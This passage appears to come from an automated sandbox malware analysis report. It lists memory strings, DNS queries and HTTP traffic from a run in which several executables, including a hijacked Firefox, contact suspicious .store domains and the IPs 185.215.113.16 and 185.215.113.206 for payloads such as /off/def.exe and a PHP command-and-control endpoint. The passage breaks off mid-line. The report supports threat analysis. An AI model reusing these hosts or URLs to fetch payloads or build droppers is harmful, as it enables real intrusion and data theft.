"://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2749678005.00000295D4CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.2749678005.00000295D4CE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPDevTools telemetry entry point failed: Failed to execute WebChannel callback:browser.fixup.domainsuffixwhitelist.devtools.debugger.remote-websocketresource://devtools/shared/security/socket.js@mozilla.org/network/protocol;1?name=defaultbrowser.fixup.dns_first_for_single_wordsJSON Viewer's onSave failed in startPersistence{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}^([a-z+.-]+:\/{0,3})([^\/@]+@).+DevToolsStartup.jsm:handleDebuggerFlagdevtools/client/framework/devtools-browserUnable to start devtools server on Failed to listen. Callback argument missing.resource://devtools/server/devtools-server.js^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)devtools/client/framework/devtoolsWebChannel/this._originCheckCallbackbrowser.urlbar.dnsResolveFullyQualifiedNamesFailed to listen. Listener already attached.devtools.performance.popup.feature-flagdevtools.performance.recording.ui-base-url^([a-z][a-z0-9.+\t-]*)(:\|;)?(\/\/)?get FIXUP_FLAGS_MAKE_ALTERNATE_URI@mozilla.org/dom/slow-script-debug;1get FIXUP_FLAG_FORCE_ALTERNATE_URIGot invalid request to save JSON dataNo callback set for this channel.releaseDistinctSystemPrincipalLoaderhttp://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/web-handler-app;1Scheme should be either http or https{c6cf88b7-452e-47eb-bdc9-86e3561648ef}resource://gre/modules/JSONFile.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/NetUtil.sys.mjs@mozilla.org/network/file-input-stream;1_finalizeInternal/this._finalizePromise<http://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%sresource://gre/modules/ExtHandlerService.sys.mjs@mozilla.org/network/async-stream-copier;1_injectDefaultProtocolHandlersIfNeeded@mozilla.org/uriloader/local-handler-app;1https://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/dbus-handler-app;1isDownloadsImprovementsAlreadyMigratedCan't invoke URIFixup in the content processhttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/DeferredTask.sys.mjs{33d75835-722f-42c0-89cc-44f328e56a86}https://poczta.interia.pl/mh/?mailto=%s_setUpMenulistPopup/</this._scrollTimer< equals www.yahoo.com (Yahoo)
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp--autocomplete-popup-separator-color--panel-banner-item-update-supported-bgcolor--panel-banner-item-info-icon-bgcolor://www.facebook.com/platform/impression.php://pubads.g.doubleclick.net/gampad/xml_vmap2*://.adsafeprotected.com/services/pub://track.adform.net/Serving/TrackPoint/://ads.stickyadstv.com/auto-user-sync*://.adsafeprotected.com//unit/*://cdn.cmp.advertising.com/firefox-etpexpressionist-balanced-colorway@mozilla.org equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2785084528.00000295E6797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2788242499.00000295E6803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6727000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.2785084528.00000295E6797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785084528.00000295E6703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 0000001A.00000002.2768183436.00000295E4565000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2749678005.00000295D4C5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2054429667.000000000089C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/S4
Source: file.exe, 00000000.00000003.2054429667.000000000089C000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeJTu
Source: file.exe, 00000000.00000003.2054218674.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, bd73c9fe1b.exe, 00000008.00000003.2677360643.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2674422053.0000000000B6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe3Xh
Source: bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeLT
Source: bd73c9fe1b.exe, 00000008.00000003.2672704045.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeoNT?
Source: file.exe, 00000000.00000003.2054218674.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exemmnjh
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.000000000101E000.00000004.00000020.00020000.00000000.sdmp, b28f5af0b9.exe, 0000001D.00000002.2772881272.000000000126B000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: num.exe, 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/%
Source: num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0C
Source: num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php$
Source: num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php(
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/U
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/d
Source: num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php2
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.000000000107F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php6G
Source: num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php7D
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpD
Source: num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpDC
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.0000000001078000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpH
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpP
Source: num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpR
Source: num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpT
Source: num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpWD
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.0000000001078000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpl
Source: num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpp
Source: num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/?
Source: num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/G6
Source: num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/KC
Source: num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Z
Source: num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/icrosoft
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/r
Source: num.exe, 0000001E.00000002.2687123403.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/tN
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000025.00000002.2832464579.0000000000BAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: b28f5af0b9.exe, 0000001D.00000002.2772881272.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/y
Source: num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206B
Source: num.exe, 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206u
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001A.00000002.2754380455.00000295E097D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001A.00000002.2756481989.00000295E0E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%sresource://gr
Source: firefox.exe, 0000001A.00000002.2766810298.00000295E2ED4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: bd73c9fe1b.exe, 00000008.00000003.2675092988.0000000000B1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: file.exe, 00000000.00000003.1774901475.0000000000866000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2002094324.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1778514687.0000000000866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1744125067.0000000005242000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2491886612.00000000055A4000.00000004.00000800.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2634367848.0000000005A6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001A.00000002.2803703540.00000295E7451000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784569965.00000295E661C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000002.2784569965.00000295E661C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlURLFetcher/xhr.onreadystatechange_startDetection/urlFe
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001A.00000002.2754015885.00000295E07C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744282150.00000206DF200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2742058237.0000015C07690000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001A.00000002.2755294403.00000295E0D12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2755294403.00000295E0D2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0326000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times0
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0326000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 0000001A.00000002.2751315941.00000295E0326000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001A.00000002.2749678005.00000295D4C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000002F.00000002.2976602615.000001B29BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: firefox.exe, 0000001A.00000002.2805617940.00000295E7E0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2668629562.00000295E527C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2796456742.00000295E6E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2769718398.00000295E4807000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2769718398.00000295E4804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2772290045.00000295E4C33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2782316368.00000295E64AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2769718398.00000295E483B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2758063479.00000295E1BBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803703540.00000295E740B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807593072.000002980003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2779235507.00000295E56AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2674527918.00000295E52D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2774239816.00000295E52D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2773012638.00000295E4E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 